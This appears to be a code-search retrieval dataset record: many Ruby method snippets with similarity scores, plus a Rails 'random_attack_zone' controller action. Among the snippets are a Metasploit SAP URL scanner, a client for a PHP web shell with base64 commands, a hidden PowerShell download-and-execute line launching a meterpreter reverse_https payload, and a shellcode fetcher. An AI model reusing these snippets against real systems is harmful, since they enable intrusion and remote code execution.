"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def get(url); end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def load_script(file); end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def script=(_arg0); end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end"
] | [
"0.6602629",
"0.64787155",
"0.6315788",
"0.6217141",
"0.62066674",
"0.62066674",
"0.6182121",
"0.6182121",
"0.608962",
"0.5983742",
"0.596497",
"0.58386564",
"0.5798183",
"0.5786304",
"0.5779729",
"0.5773019",
"0.5756665",
"0.5747272",
"0.5733928",
"0.56829095",
"0.5661902",
"0.5660163",
"0.56488764",
"0.5619991",
"0.56085443",
"0.5608154",
"0.5604742",
"0.5585553",
"0.558463",
"0.55177236",
"0.5516443",
"0.5512335",
"0.5506288",
"0.54863715",
"0.54844445",
"0.54620856",
"0.544418",
"0.5432006",
"0.54288024",
"0.5412065",
"0.5410967",
"0.5410319",
"0.54052",
"0.5394649",
"0.53935814",
"0.5393197",
"0.5391491",
"0.5389234",
"0.53563476",
"0.5352827",
"0.53525585",
"0.53515667",
"0.53501445",
"0.5335797",
"0.5335797",
"0.5325559",
"0.5321879",
"0.532156",
"0.53141445",
"0.53111356",
"0.5308242",
"0.5308118",
"0.5307509",
"0.5306852",
"0.5306413",
"0.52716315",
"0.52535874",
"0.52524614",
"0.5250882",
"0.52480936",
"0.52473706",
"0.5245469",
"0.5244496",
"0.5238817",
"0.5235898",
"0.52309173",
"0.5223356",
"0.52140653",
"0.5200197",
"0.5195327",
"0.5194141",
"0.519396",
"0.5187765",
"0.5166804",
"0.5163044",
"0.5160553",
"0.5160278",
"0.51595116",
"0.5155654",
"0.51550883",
"0.51539105",
"0.5149491",
"0.5149491",
"0.5146173",
"0.51421857",
"0.51374316",
"0.5131366",
"0.5124334",
"0.5123136",
"0.5120389",
"0.5110964"
] | 0.0 | -1 |
execute this script by using the url " | def random_attack_zone
@user = User.find_by_name(get_random_user_name)
if @user == nil
redirect_to( :controller => "users", :action => "index" )
else
@result = ScalabilityTest.random_expand_or_attack(@user.id, :MODE_ATTACK)
if @result != true
flash[:notice] = @result
end
redirect_to( :controller => "zones", :action => "index" )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def go()\n\[email protected] @url\n end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run\n make_request(@path)\n end",
"def run(robot, script)\n\nend",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def run_result; result['run_cyber_dojo_sh']; end",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def get(url); end",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def load_script(file); end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
